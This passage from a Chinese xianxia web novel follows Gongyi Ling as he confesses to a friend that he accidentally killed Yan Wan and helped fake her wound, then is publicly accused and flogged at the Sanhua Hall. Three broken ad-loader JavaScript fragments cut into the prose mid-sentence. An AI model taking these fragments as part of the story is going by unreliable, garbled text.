小贩也高兴道:“就是说啊!从那天以后,我娘子就在每个花灯上都绣了太微山的环带纹,算是我们一点感谢,你们看,就是这里。” 说完,小贩就拿起一盏花灯,指着花瓣的位置给他们看。 公仪岭凑上去一看,上面果然绣了纹样,针脚平齐精细,心说看样子他的娘子绣花的手艺不错呢。 齐元白微微一笑,拿起摊上的一盏红色花灯,问道:“老板,这个多少钱?” 小贩道:“公子您真是好眼力,这盏花灯是我们这边最漂亮的一盏了,只要四文钱!” “什么!这么贵!” 公仪岭连忙把齐元白手上拿着的花灯给摆了回去:“正常不都才两文钱!怎么还翻倍了?” 小贩极力推销:“公子,贵有贵的道理,你看看别家,许愿可有我这么灵?” 公仪岭思虑片刻,忍痛让步:“三文我们就买!要是不行我们可走了!” “这位公子您看……” 这小贩还想再说,却突然发现手中多了一块银子,震惊地望着齐元白:“这位公子……?” 齐元白大手一挥:“我全要了。” 公仪岭瞪着眼道:“不是,元白,我都快讲完价了!” 有钱也不是这么花的啊! 齐元白悠然接过所有花灯,塞到了公仪岭的手上:“你拿着,到时候给我带回去。” 公仪岭看了看他手上那一把五颜六色的花灯,又看了看拿着银子满眼放光的小贩,叹了口气,还是接了过来,跟上了齐元白的脚步。 一边走,公仪岭一边道:“这个红色的留给我啊!别的都归你!” 齐元白道:“你看上了哪个,拿回去就是,跟我客气什么?” 公仪岭道:“行!你刚刚要是出手再晚点的话,我应该都能谈好价钱了。” 齐元白解释道:“他们生活也不容易,上次我家师弟去给他娘子治腿的时候,见他们生活清贫,全靠这些手艺挣钱。” 公仪岭诧异道:“原来他说的是真的?那可能是宴席上我光顾着避开投来的石头,就没注意你们宗门也下去人了。” “反正我看他做的花灯也是精巧,到时候回山上分给师弟,与他们说一说此事也好。” 公仪岭点了点头,抬头看了看夜色,道:“咱们走快点,别等我们到那边了,结果酒却被抢光了。” 114.难觅旧时光 当时道寻常(二) 城北酒肆离他们这还有些距离,那家酒肆里最出名的酒就是竹叶青。据齐元白所说,全城所有的竹叶青加起来都不及这一家的好喝,而那店家也向来把此酒当作招牌,每日戌时开始售卖,要是去晚了,多半就排不到了。 齐元白一听,是这么个道理,脚下步伐也就快了些。 等两人来到了这地方,远远就看见酒肆门口已经排成了长队。齐元白估摸了一下队伍人数,松了口气道:“正好来得及,能买得到。” 结果不出意外,排了大约两三刻钟,两人就提着几个酒坛子潇洒离去。 公仪岭看着他像是往城中的一个湖边走,问道:“咱们俩这是去哪?” “反正时间还早,既然要喝酒,那当然得找个风景好的地方了!” 事实证明,齐元白选的地方确实不错。 公仪岭站在湖畔边,看着湖上如绸缎般的粼粼波光,感受着迎面吹来的阵阵微风,心情渐渐也平静了下来。 齐元白把酒坛子摆在旁边,已经找了块平坦的草地坐了下来,拍了拍旁边的位置对他道:“来啊,一块坐?” 公仪岭从善如流,直接躺在了草地上:“你选的地方倒还不错。” 齐元白笑道:“这个地方,每次我心情不好的时候来一趟,就能开心许多。我想,应该挺适合你现在的。” 公仪岭转过头,诧异地看着他:“你知道,我心情不好?” 齐元白脸上露出几分认真:“你这么反常,我看不出来才奇怪好吧。” “好吧。” “以前你有什么事情,不都是直说的么。这次为什么心情不好,也说说?” 公仪岭深深叹气,迷惘道:“我也不知道该怎么说,大哥问我,我也说不出口。” 齐元白把旁边的酒坛子掀开,递给了他,道:“你看看这仙家之中,这么多年下来,哪还有比你过得更舒服的人?老大不小的人了,有什么话就直说,别让我跟你大哥担心。” 公仪岭接过了酒,勉强笑道:“以前是以前,现在是现在嘛。” 齐元白听到了他这句话,居然也叹息了一声:“是啊,以前是以前,现在是现在。” 公仪岭听他这么说,就问道:“齐宗主怎么也如此感慨了?” 齐元白道:“自从燕婉出事,我们回太微山以后,清鸢的状态很不好,一直关在屋子里。当上宗主以后,我也很忙,总是没有时间陪她,和她说说话。就算偶尔有空,我也不知该如何与她说,毕竟发生了这样的事情,我……很难站在自己的角度去安慰她。” 公仪岭沉默着喝酒,没有接齐元白的话。 齐元白继续感慨道:“你们是两兄弟,平常应该就好沟通一些。” 好沟通吗? 公仪岭怔怔地回忆着几天前公仪岚主动来找他的场景,心中一片苦涩。 虽然他看出来,大哥是想问问他怎么回事的,可是这样的事情,叫他如何开口跟公仪岚说? 就算说了,公仪岚也不能帮到什么。是他失手杀了人,难道这样的事情,也是能够开脱的吗? 他只等着这十日过去,看看三化殿和紫阳宗打算怎么处置他了。 思虑及此,公仪岭摇头道:“我也不知道该如何说。” 齐元白轻声道:“岚兄他,现在每天也挺忙的吧?咱们父母突然离开,我这个宗主当得太突然了,一点心理准备都没有。虽然我知道早晚会有这一天,但还是没想到这一天来得这么快。” 公仪岭回想起前几日哥哥每天要做的事情,深以为然。 “大哥他现在也是,别提有多忙了。我见他每天从早到晚都呆在桌案前批文书,基本上都见不到人,也就是多亏有承悦在,才好帮他分担一些。” 齐元白举起酒,抬手与他碰了碰杯,感慨道:“是啊,我每天也都是这样。” 公仪岭暗暗握拳,似是下定了决心,道:“我想的是,我现在每天就好好修炼,变得更厉害,能帮他们一点是一点。” 齐元白猛灌了一口酒,眼神透露出一丝迷惘:“阿岭你知道吗,当宗主真的和修炼不一样。修炼的时候就是踏踏实实的修炼,你知道你什么时候有了进步,你每天都做了什么,但是我现在每天,睁眼就是在处理文书,闭眼就在想宗门事务,自己都不知道自己在做什么。” 公仪岭想起从前,自己也经常被公仪岚强行押进书房学习。 不知道为什么,大哥特别关注自己的修习,甚至比他爹娘还要上心,颇有几分恨铁不成钢的意味在。 从前他有所抵触,不过现在,倒也渐渐好起来,愿意去主动做了。 公仪岭轻声道:“大哥也一直让我学这些东西,比爹娘对我的期望都高,不过我们大家都相信,只有他最合适云灵山宗主的位子。” “岚兄嘛,那是当然的……不过你要是多学一些,也许以后真能帮上他忙。” 公仪岭望着远处那轮皎洁的明月,坚定地点了点头。 齐元白苦笑道:“我也算是我爹一手教出来的,以前当少宗主的时候,我觉得处理事务也不过如此,直到现在真到了我爹娘以前的这个位置上,我才知道,宗主这个位子,不是那么好坐的。” 公仪岭想起一事,就问他:“我记得你爹一个人去的平阴岛,并没有让你娘同去?” 齐元白点头:“那也不是什么好地方,我爹当时不希望我娘去那种危险重重的地方,所以,就让她留在太微山了。” “那曲夫人……” “我爹不让她去,我娘她还闹了好几日。现在平阴岛的几位宗主都没了消息,我娘天天在宗门里以泪洗面呢。” 齐元白凝眉望着湖面,怅然若失:“要不是这样,我也不会发现之前我爹娘这么厉害,能把这一堆事情给处理得井井有条、稳稳当当的,反正我刚接手的时候,只觉得焦头烂额,一度怀疑自己是不是能力不行,想撂挑子不干,可又不能辜负他们的期望啊。” 公仪岭道:“再如何难做,你现在也都做上了。再说了,我看你做的还挺不错的呢,不然,城中小贩也不会那样说了。” 齐元白一怔,抚了抚手边的花灯:“……只盼着以后,我也能当一个好宗主,也就不辜负他们的期望了。” 湖水荡漾,晚风醉人,公仪岭望着他手中的花灯,心中忽然觉得明朗起来。 他毫不犹豫地扬起了自己手中的酒坛,带着微醺的酒意朗声道:“来——敬我们未来的齐元白好宗主。” 齐元白侧头,微微诧异,片刻后回过了神,也举了举自己的酒坛,轻笑道:“也敬我们未来的公仪岭上仙。” 公仪岭笑道:“那还真是承你吉言了。” 齐元白喝下酒,道 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' :“阿岭你知道吗?我们宗门弟子还是挺多的,但即便这样,我也不知道能与谁说这些事情。我不能和清鸢说觉得爹可能回不来,也不能与她说之后有一场恶战要打的事情……” “我是真的羡慕你,阿岭。” 公仪岭不解:“羡慕我什么?” “岚兄在,至少有个人可以替你分担,可是我只有自己啊,太微山上上下下现在全都指望着我一个人,连我自己心里都不确定能不能担得起重任。” 公仪岭沉默片刻,道:“是,我知道大哥很忙,他关心我,刻意抽出时间找我吃饭,问我是怎么回事,可是我怕他担心,也没跟他说。” 齐元白听完他这句话,摇了摇头。 “都是一家人,有什么事情是不能说的?” 公仪岭闭了闭眼,艰难道:“我说不出口,我想他之后也就能知道了。” 齐元白凝视着公仪岭,正色道:“现在先知道,跟以后再知道,那能一样吗?你爹娘都不在,就更应该跟你哥商量着了,有事情早点知道,也能早点有个对策。” 他说完,打量着公仪岭的神情,见他低垂着眼眸还是没说话,只知道闷头喝酒,脚尖踢着石子,继续劝道:“阿岭,现在形势危急,我每日都在担心,指不定哪天大战就开始了,你得振作起来啊。” “如果一旦开战了、打起来了,那你说,这城中可还有像今天这样热闹的场景,城中的人可还能继续过着平静无波的日子?” 定然是不能的。 公仪岭清楚知道这一点。 他放下酒坛,拿起脚边的石头,抬手将它丢到湖中,看着平静的湖面被他击破,漾起一圈圈的水波。 公仪岭看了一会儿,缓缓道:“你刚才说,你一度怀疑自己能力不行。其实,我现在也觉得,我自己能力不行,实力不济,才会形成今天这样的局面。” 齐元白诧异道:“阿岭,你若是实力不济,你叫其他人的颜面往哪里搁?何况,变成今天这样的局面,也不是因为你。” 公仪岭道:“如果我从前每天都努力修炼的话,肯定比现在的我厉害……所以再怎么找借口,我也觉得变成这样是我的原因。” 齐元白无奈,也拾起一块石头,朝着湖面飞了过去。 他指着那一圈圈的波纹,道:“阿岭,你可知这世间的事情,就好像这湖面上的波纹,一圈影响着一圈,才最终能变成你看到的样子,少了任何一环,都不行。所以,即便是现在变成这样的局面,又怎么能全怪你呢?” 公仪岭心中也明白这样的道理。 良久,他猛然又伸出酒坛子:“再干一杯。” 齐元白无奈道:“再干一杯当然没问题,那你也总该告诉我,你怎么会这样难过吧?” 他凝视着公仪岭的眼睛,却发现他的眼眶不知道什么时候已经红了。 齐元白从没见过这样的他,顿时哑了声音,不知道该怎么劝说。 联系着公仪岭刚刚说的话,齐元白就猜测着,他会不会是因为没护好燕婉才觉得自己能力不行。 齐元白试探着开口:“其实,潜入玄霄殿还能从那么多妖邪手下全身而退,已经很不错了,燕婉本就油尽灯枯,你没能救下她,也并不是你的问题,你又何必……” 他还没说完,就听面前的人喃喃开口道:“是我杀了燕婉。” 115.难觅旧时光 当时道寻常(三) 他这石破天惊的一句话,震得齐元白足足好半天没反应过来。 齐元白怔怔望了他许久,脑中慢慢消化着他说的这句话,直到完全消化完,他才结巴道:“阿岭,你别开玩笑啊,燕婉的事情我知道你自责,但也没必要把责任全揽下来……” 公仪岭却是凝视着他,缓缓摇头:“不,元白,不是开玩笑,当时在石室里,是我……是我失手杀了她。” “你说的,可是真的?怎么会这样?!” 齐元白震惊过后,竟是语无伦次:“可是……那日玄霄殿上,燕婉的身上分明——!” 他这无意间的一句话,道出的是公仪岭最不愿回忆起的事情。公仪岭痛苦地闭上了眼,仿佛又回忆了一遍当时的场景,想要开口,但话到嘴边又难以述说。 公仪岭这边沉默着,齐元白却还在尝试着问他:“阿岭……怎么会是你杀了燕婉?你告诉我,这件事情有隐情对不对?” “元白,没有谁比我更希望这件事有隐情,可是没有!当时血池内,是我没顾及到一只傀儡,让它打伤了燕蓉和燕渊,又趁机挟持了燕婉……” “我见情况危急,就想飞剑杀了那傀儡救下燕家三人,可谁知……可谁知在这样的关头,我、我竟然失手了!” 公仪岭说着,声音也哽咽起来,每每想起便心脏钝痛,许久后,才闷闷道:“我也想为自己找什么借口,可是,杀死燕婉的人,却真真切切是我啊!” 齐元白难以置信:“阿岭,我分明记得,哪怕是蒙着眼你也从无失手啊!难道是因为前面受了重伤,这才……?” 公仪岭低下头以手覆脸,颤声道:“那个傀儡突然变了方向,用燕婉直接挡下了归云……是我的问题,我真的……我真的没想到它会这样。” “我眼睁睁看着归云没入了她的身体,她满身都是血,甚至连话都没来得及说一句,就已经咽了气,而我连救她的办法都没有,只能那么看着,看着她流干了血,看着她变成一具冰冷的尸体。” “……” “可是明明不该是这样的!就差一点,真的就只差一点,燕蓉就能施法完,燕渊就能给她输完血了,燕婉她,明明就差一点就能救过来了……” 齐元白从他这些断断续续的话中,也明白了究竟是怎么一回事。 安静了很久后,他凝眉道:“那……燕婉身上的伤口呢?” “事情发生以后,我们就知道事情朝着不可控的方向发展了。如果我们想要名正言顺地借此发难玄霄殿,那就必然不能被他们发现,燕婉身上的致命伤是归云,所以……” 说到这里,公仪岭的声音越来越小,直到微不可闻。 话都说到这个份上了,齐元白再如何也都听明白了。 “所以,燕婉姑娘心口被傀儡所伤的窟窿,是你们后面才伪造上去的?!” 公仪岭沉默着点头:“我和燕蓉都知道,想要瞒天过海,便只有这一个办法。为了大局,不得不出此下策。” 齐元白哑着声道:“可是,可是你毕竟也是为了救她前去,发生这样的意外,是谁都不想看见的,并非是你刻意杀人啊!” “我知道,可是,说到底,燕婉不正是因我而死吗?就算是误杀,她也是真真切切死在了我的剑下!我怎么能开脱,我又怎么配给自己开脱!” 他抬起头,掌心潮湿一片,声音也更嘶哑了。 “当时如果不是我擅自行动,如果不是我盲目自信,如果我的修为能够再多一点点,哪怕一点点!我就能……我就能除掉那些傀儡,我就能救下她,把他们三个都平安带出去!” 齐元白也沉默下来,不知该如何开口安慰他。 默默喝完一坛酒,齐元白才道:“燕渊他,打算如何呢?” 公仪岭自嘲道:“我不知道,我只知道他大概恨透了我,等到回去以后,紫阳宗上下肯定也就知道了燕婉身亡的真相,这样的罪责,无论如何我都是该担着的。” 话说完,他仰头将坛子里剩下的竹叶青喝了干净,木讷地放下了酒坛,眼看着坛子在草地上骨碌碌滚了下去,停在了湖边。 齐元白重新给他递了一坛酒,轻声道:“这样的事情,岚兄早晚是要知道的,那你现在又如何打算呢?” 公仪岭睁着一双迷惘的眼睛,神识迟缓:“几日后,总归是要过去三化殿的,我会对他们坦言此事,任凭发落,我绝不会有一句怨言。” 齐元白道:“紫阳宗有燕蓉在,她知道当时发生了什么,定然会与燕宗主道明实情,也许事情不会像你想象地那样糟糕。” 公仪岭摇头道:“她每日都已经够忙了,这样的事情,我认罚就好了,不必让她再替我说话,平白惹紫阳宗里的人讨厌了。” 燕蓉的为难之处,齐元白也理解,只能道:“你说得对,这件事情,她确实不好出面。” “能像今天这样痛痛快快地说出来,对我而言已经够了。你都不知道,我这几日是如何过来的……每天一闭上眼,就会想起那一日的惨状。” “你真是……” 齐元白欲言又止,最后长叹了一声。 他偏过头去看剩下的酒坛子,庆幸道:“往好处想,还好今日买的竹叶青够多,可以不醉不归。” 公仪岭勉强笑道:“找你来,也正有此意。” 齐元白直接将酒坛子一个个摆到了两人中间,把上面所有的封口都掀开了,对他道:“那可说好了,今晚咱俩一滴酒都不能剩下啊!” 公仪岭轻轻嗅了嗅坛子里发出的酒香,接道:“但愿长醉不复醒。” “你倒也想当上酒仙了?”齐元白正色道,“那可不行,也就今日能放纵一把,等明日,咱们又该各干各的正事了。” 公仪岭低声道:“有这一次,已经够了……对了,这件事情你现在可千万别跟我大哥说啊。” 齐元白诧异道:“为何?” “你也知道我大哥的性子,要是知道我犯下这样的大错,肯定会想办法去找燕宗主替我说话的,怎么能让他安心?到时候,大不了我三化殿上一跪下,任打任骂,这样我的良心也能稍安了。” 齐元白点头,也没什么意见:“我明白了,那这件事,就等到三化殿再说吧。” 风清月朗,水天一色,两人躺在湖边草地上,一杯接着一杯,一坛接着一坛,直到手边脚边都胡乱地滚了一堆空坛,再也倒不出一滴酒。 灵识迷惘之间,困意袭来,两人昏昏沉沉睡去,不知东方既白。 * 回到太微山已经是第二天午时。 公仪岭见齐元白回来后又一头钻进了书房,遂也没有进去打扰,自己提着归云剑就跑去后山练剑了。 如此过了三日。 第三日,公仪岭还在后山练剑的时候,突然遇到了一个太微山的弟子找上门来。 他收了剑,看着面前满头大汗的弟子,有点疑惑:“找我有什么事情吗?” 那弟子擦了擦额头的汗, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 磕磕巴巴道:“公仪兄,我们宗主请您过去一趟。” 公仪岭心道这个时辰弟子们应该都在上早课才对,这么着急来找自己,莫不是出了什么大事。于是对那弟子应了一身,匆忙赶了过去。 书房门推开,就见地上乱七八糟散落了一堆文书,齐元白手中死死捏着一张信笺,眼中含泪。 公仪岭心中顿觉不妙,弯腰小心翼翼捡起地上的东西放回他桌案前,问道:“元白,发生何事了?” 齐元白抬起眼,颤声道:“阿岭,他们回不来了。” “谁?谁回不来了?” 公仪岭一下子没反应过来,只能怔怔地看着他,不愿意去想那个他们都心知肚明的可能。 齐元白却置若罔闻,目光呆滞地坐在椅子上,嘴唇张了张,想说什么,可是看到公仪岭的脸后又什么话都说不出来,最后像是终于忍不住了一样,泪水决堤。 他手上的那张团花纹信笺离公仪岭只有两步的距离,可是对公仪岭来说却又像相隔千里一般遥远,哪怕鼓足勇气,也不敢走过去看一看究竟是什么内容。 两人就这样隔着桌案静止了许久,直到齐元白声音嘶哑地开口道:“阿岭,我爹和你的爹娘,他们都……他们都死了!” 哪怕他们对这样的结果做了一千遍、一万遍的心理准备,可是真当他们知道了这样的事情以后,却还是不敢相信,也不愿去相信。 黄色的信笺从齐元白的指尖滑落,上面整齐娟秀的字明晃晃的露在公仪岭的眼前,只一眼就看清了上面写的内容。 公仪岭呼吸一滞,身子晃了晃,勉强在桌案上撑住,抬手摸了摸脸,竟满是泪水。 他找了好久,才找回了自己的声音,才能问出一句:“……尸骨呢?” 没有得到回答,只有那张信笺上明明白白写了四个字。 尸骨无存。 两日后,三化殿。 各大家宗主都到了场,每个人的头上几乎都带了一块白布。 公仪岭跟在大哥的身后,在坐席上坐下,诧异地发现六弦阁那边的宗主位子,赫然坐着纪银灵。 这样的结果,在他的意料之外,但也算情理之中。 而更让他意外的是,在三化殿中,竟然多了一个他熟悉的宗门。 只是,无妄宗那边,只有薛子昂一人在席,再无旁人。 公仪岭侧过头,小声问道:“大哥,这次无妄宗的人为什么也来了?还只来了一个?” 公仪岚疲惫道:“阿岭,你在太微山恐怕不知道此事,昨日,无妄宗的人与我们各家传来消息,说玄霄殿已经对他们下手,无妄宗门上下被屠,仅剩下那位名叫薛子昂的弟子和几个年纪小的弟子活了下来。” 公仪岚并不清楚他在宣安城遇到无妄宗的事情,便也没与他细说,却不知公仪岭听到这个消息,已是坐立难安。 虽然他不清楚玄霄殿拿无妄宗开刀究竟是为什么,但想也知道,多半是跟宣安城焚烧人皮,杀死他们那么多傀儡有关系。 他自己没穿宗门衣服,旁人当然不知道他是云灵山的,可无妄宗不同,在宣安城的人都知道是他们下山来除了妖邪。他们宗门说大不大,说小不小,玄霄殿第一个找他们报复,定然不是临时起意,而是蓄谋已久,认定了他们是最好的开刀对象。 等所有人都到齐了,正座上的善承长老才开口道:“想必,大家也都清楚了此前玄霄殿的所作所为,今日召大家前来,便是来商议对策的。” 116.难觅旧时光 当时道寻常(四) 薛子昂言辞激动:“玄霄殿杀我师父,辱我师兄,若非师兄强行把我跟师弟们关在地牢,连我们也不能幸免于难!我无妄宗弟子,与他们势不两立,必要灭了他们全族,以祭先祖,告慰亡灵!” 燕蓉道:“薛宗主,你先别激动,与玄霄殿开战之事已是板上钉钉,他们劫走我师姐,又残杀无辜性命,紫阳宗定然会让他们付出代价。” 燕修远道:“如今玄霄殿已经炼化了御魔幡,其召唤出来的傀儡今非其比,更不用提其余被他们收入麾下的妖魔鬼怪,依我看,定然应该打他们一个措手不及,避免拖成持久战才是。” “燕宗主,此言差矣。” 纪银灵声音响起,带着不容置疑的坚定:“玄霄殿现在的妖邪数量远远大于我们几家加起来的弟子数量,想要打他们一个措手不及,何其困难?何况前不久几家宗主前去玄霄殿和谈,也都负伤过来,尚未完全休养好,又如何能与他们全力一战?” 纪银灵这话说得也正是在场众人所担心的,大家不由开始窃窃私语起来。 公仪岚道:“那,纪宗主有何高见?” 纪银灵像是早有准备,微笑道:“我认为,关键还是得想办法夺取他手上的御魔幡,只要没法操纵那些傀儡了,再全数歼灭其他魔物,就易如反掌了。” 齐元白迟疑道:“话虽如此,但纪宗主,你也知道当时在玄霄殿的时候,我们企图抢夺御魔幡,却反被牵制。那尹景轩的凶刀也不是凡品,想要从他地方夺下御魔幡,谈何容易?” “是啊,是啊。” “上次就是好不容易才逃出去的,要想打过他们两父子,也不是件容易事情。” 正是一筹莫展之际,孟翰言却忽然开口:“既然抱元门也参加这次围剿,那他们的阵法多少都能限制那些傀儡,给我们争取时间,再结合众人力量与尹景轩他们交手,就算没能夺下御魔幡,也能把他们控制住,这样,那些傀儡也就没人操控了。” 公仪岭听他说的有理有据,忙问公仪岚道:“大哥,司姑娘她可有说这个办法行得通吗?” “这……” 公仪岚迟疑地望向司月吟。 他们两人并非没有商量过这件事,只是司月吟并未与那些傀儡亲自交手过,故而也没有肯定答复。 而司月吟,在对面沉默了片刻后,干脆地点了头:“我会带着师弟师妹们尽力一试。” 得了她的承诺,其余人也都放下心来,看着善承长老如何说。 善承长老却道:“这几日,抱元门已经做好了布阵的准备,只要此阵设下,方圆十里内的妖邪都能灰飞烟灭。” 闻言,公仪岭心中一惊。 这样的阵法他此前有所耳闻,却从未得见他们设下,大概上次使用已经是几十年前大战时候的事情了。 看样子,抱元门对这一仗势在必得,打算一举歼灭他们。 公仪岭问道:“不知要设下这个阵法,可需要我们帮忙吗?” 善承看着底下众人,沉声道:“此阵威力巨大,对协助布阵的仙人修为要求也极高,故而,还请各宗门届时鼎力相助,等其他事情商议完毕后,再随我前去偏殿详谈此事。” 众人皆道:“我等愿倾力相助。” 见他们商量地差不多了,燕渊这才冷冷开口:“善承长老,对付玄霄殿的事情说完了,现在也该轮到我们紫阳宗来说说了吧?” 他目光锐利,直直看着坐在席上的公仪岭。 公仪岭避开了他的视线,紧紧攥着自己的衣摆。 “渊儿!” “少宗主!” 一左一右两声惊呼,却依然不能阻止燕渊。 燕蓉见她劝阻也没有什么作用,深深叹了口气。他们在紫阳宗的时候已经把燕婉死亡的实情告诉了燕修远,而燕修远的想法与燕蓉不谋而合。 公仪岭审肯定是要审的,但不是现在审。虽然不知道两位长老到底会给他什么样的惩罚,但至少也是皮开肉绽的级别。眼下开战正是需要用人的时候,现在把人打残了,岂不是自断一臂、少了胜算?最好的办法,便是等大战结束,再问审公仪岭,让他得到惩罚。 但是当燕修远把自己的决定告诉燕渊以后,燕渊却是无论如何都接受不了的。 在他看来,姐姐已经死了,在玄霄殿上为了大局退让已经是他做出的最大让步,燕渊恨不能在三化殿上直接看着公仪岭被打残才痛快。 哪怕两人再三解释,燕渊也只留下了一句“爹,阿姐是你的亲女儿!”后,就拂袖离去。 玄微长老看他站在中间,对他们行了一礼,便问道:“燕渊,你有何事要说?” “玄微长老,我要说的是,我的姐姐燕婉,实则并非是被玄霄殿的傀儡所杀,而是被他公仪岭所杀!” 此话一出,满堂震惊。 “真的假的啊……公仪岭会做出这样的事情?” “他们三个当时不是一起去救出燕婉的吗,难道燕少宗主说的话还能有假?” “可是……他公仪岭杀燕婉做什么?他们两个人也没有仇怨吧。” 公仪岚直接站起身,沉声道:“燕少宗主,说话可得讲真凭实据,当时我们都看见了,燕婉姑娘身上的伤口是傀儡所伤,与我弟弟何关?” 燕渊冷冷道:“有没有关系,你问问你的好弟弟不就知道了?” “阿岭他从未与我说过……” 公仪岚话还没说完,就感觉到衣袖被旁边的人拉了拉,顿时止了声音,目露震惊地看着公仪岭。 公仪岭起身,声音极低地对他道:“对不起,大哥,这件事情是我的错,我没有告诉你。” “阿岭……” 燕渊听到他的话,恨恨道:“听到了吧,他自己都承认了,这本就是事实!只不过当时为了大局考虑,我与师姐才暂且在玄霄殿面前将事情瞒了下来。当初,你公仪岭可是亲口说的,绝不推卸责任,等到了三化殿中,接收一切裁决。” 公仪岭平静道:“我并未打算推卸责任。” 善承长老这时候也终于开口:“燕渊,当时究竟是怎么回事,你且说清楚。” “是。” '');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' >燕渊字字清晰地将当日发生的所有事情和盘托出,直到说到了他们是如何伪造伤口的,众人面上都露出了不忍听下去的复杂表情。 等他全部说完,善承这才问道:“公仪岭,燕渊说的可都属实?” 公仪岭跪在地上,颤声道:“属实。” “阿岭!” 齐元白见他一句话也不辩驳,终于还是忍不住出声了:“前去玄霄殿救人一事,本就凶险万分,谁也不能保证一定就能把人救出来,公仪岭潜入血池本就困难,他又不是故意前去刺杀燕婉,他是一时失手误杀,这才酿成大错,又怎么能全部怪到他的头上?” 公仪岚也上前道:“当时紫阳宗召我们所有人前去搭救燕婉,阿岭乃是迫不得已才被我们安排潜入殿中营救,就算是换了旁人,也无法保证一定能救出来燕婉,出现这样的意外,他又怎么愿意看见?” 燕渊毫不示弱道:“我与师姐施法,已经快救成功姐姐了,若非公仪岭失误害得我们两人重伤,又擅自行动杀了阿姐!你们口口声声误杀,那误杀不也还是杀人了?要不是因为他,我姐姐何至于还要再被那傀儡捅伤一次?” 公仪岚没有回答他的话,而是直视着燕修远道:“燕宗主,不知您是怎么看?” 燕修远颇为头疼:“公仪宗主,此事,渊儿也与我说了,我的意思是现在大战在即,总不好现在就把人打伤了让我们陷入被动之中,等到一切结束以后,再审不迟。可是渊儿他不愿延后此事……” “爹!要不是他,阿姐根本不会死!” 公仪岚道:“燕少宗主,我明白你的心情,但是……” “大哥,别说了。” 公仪岭涩声打断了公仪岚的话,对上面的两位长老道:“善承长老、玄微长老,今日我过来,早已做好了接收惩罚的准备,此事不必拖后,今日就将此事了结吧。” 善承沉默了片刻,缓缓道:“公仪岭,你可知道,像这样的情况,是要挨上八十道戒鞭的,这八十道戒鞭下去,怕是你连站起来都难啊。” 听到这个数量,纪银灵也是霍然起身,皱眉道:“长老,眼下大战在即,断然不能现在就惩戒公仪岭!这八十鞭下去,岂不是直接将他打残了!我以为,现在总该以大局为重才是。何况,您说的那阵法,多少也还有用得着他的地方。” 燕渊寒声道:“纪宗主何必给他开脱?我就不信了,以我们仙门全部力量与玄霄殿开战,没了他公仪岭还就不行了?!” 他说完,纪银灵忽然冷笑了一声。 她直视着燕渊道:“那你呢,燕渊?你又在这次行动中做了什么?仅仅是用来给燕婉姑娘输血吗?” “燕婉的死,公仪岭是有责任,我们也对此十分遗憾,但请你搞清楚一个事实!这件事情的始作俑者到底是谁,我们共同的敌人又是谁?!还有你自己,你是有多少实力和修为来替你姐姐报仇?今日,你也只敢在这三化殿上表达你的不满罢了!” “有本事,你就自己打去玄霄殿!他公仪岭是骄傲自负,那你呢?你燕渊不还是一样的胆小怕事!” 117.难觅旧时光 当时道寻常(五) 燕渊面色铁青,却又无法反驳,只能道:“那他杀了人要惩罚也是事实,我想为我姐姐讨个公道,又有什么错?!” 纪银灵丝毫不惧,愈发咄咄逼人起来:“那好,追根溯源,难道这件事情最开始不是因为你们紫阳宗丢了御魔幡引起的吗?照这样说来,是不是你们紫阳宗从上到下都得罚上八十戒鞭,惩治你们看护御魔幡不利之罪?我们过去玄霄殿帮忙,乃是过去给你们善后,现在帮你们善后没善好,还得挨上八十戒鞭,天下可曾有过这样的道理!” “他们玄霄殿处心积虑盗取,又岂是我们小心看护就能有用的?当日中秋宴,他们不也在所有宗门眼皮子底下劫走我姐姐吗!” 纪银灵顿了顿,又笑道:“行,我再问你。大家去玄霄殿这一路上,你可有帮上什么忙?迷雾林火凤那边,要不是公仪岭在,怕是你也该命丧当场了吧?打架打不清楚,安排也安排不清楚。公仪岭也是倒霉,好事一个没轮上,不小心办坏一件事,就被你们追着罚。我看以后谁还敢掺和你们家的事情,万一好心帮忙没帮好,还得挨上一顿鞭子!” “你!” 纪银灵向来沉默寡言惯了,一番下来把在场众人都说得愣神,更不用说燕渊。燕渊也是从没听过纪银灵说这么多话,还把他说得哑口无言,当场气得脸都涨红了。 纪银灵却压根没理他,说完以后便神情自若地坐回去了。就这样,大殿内足足寂静了一盏茶的工夫,众人才转而开始窸窸窣窣地轻声交谈。 燕渊多少觉得挂不住脸,却又不敢跟纪银灵撕破脸,只能恨恨地看着公仪岭。 下面孟翰言也在此时说道:“善承长老,我看纪宗主说得不无道理。公仪岭他虽然误杀了燕婉,但当时情况特殊,他也已经尽力而为了,否则恐怕都无法将三个人从血池中带出来。我看八十戒鞭是罚得重了些,理应酌情减少一些。” 有孟宗主这话打头,其他跟着求情的人也多了些,纷纷进言。 “是啊是啊,我看打个四五十鞭也就差不多了,八十鞭,这不是硬生生要把打残了才罢休吗?!” 善承长老沉默片刻,最后还是叹息道:“公仪岭误杀燕婉乃是事实,但念在他是初犯,又在行动中有诸多帮助,便减到五十戒鞭吧。” 公仪岚毫不犹豫跪了下来:“长老!现在大战在即,哪怕是五十鞭也不是个小数目,这样打的话,阿岭如何能随我们一起上战场!” 燕渊咬牙道:“五十戒鞭已是格外开恩,你们怎么还要替他求情!” 两边僵持不下之时,燕煦泽起身建议道:“少宗主也只是不愿看见此事一拖再拖,没个定数,并非不顾全大局。今日既然公仪岭已经认罪,我看罚还是得罚的,不如今日先行打二十鞭小作惩戒,等到大战结束以后,再将余下的一并罚了,你们看如何呢?” 二十鞭这个数量,算得上是小作惩戒,却又能让人遭一顿皮肉之苦。要是有灵丹妙药医治的话,顶多七八日,公仪岭也就能恢复过来,不会耽误事情。 下面的人一听,顿觉这是个两全其美的办法,除了公仪岚他们,旁人都也立刻消停下来,没了非议。 听完燕煦泽的话,燕渊的脸色才稍微和缓了一些,思忖后便道:“可以。” 善承长老听他答应下来,转而便问公仪岭:“公仪岭,今日的二十戒鞭,你可认罚?” 公仪岭跪在地上,决然道:“我认罚。” 事已至此,三化殿上其他人也知道无法再多说些什么,只能看着抱元门旁边的仙侍上前几步将人押在长凳上,随后,善承长老手掌摊开,一柄戒鞭便出现在了掌心之中。 没给公仪岭任何准备的时间,第一鞭已经落下,在他的背上抽出一道深深的血痕,公仪岭没有防备,当即闷哼了一声,那鞭子声听得众人心惊胆战。 “阿岭……” 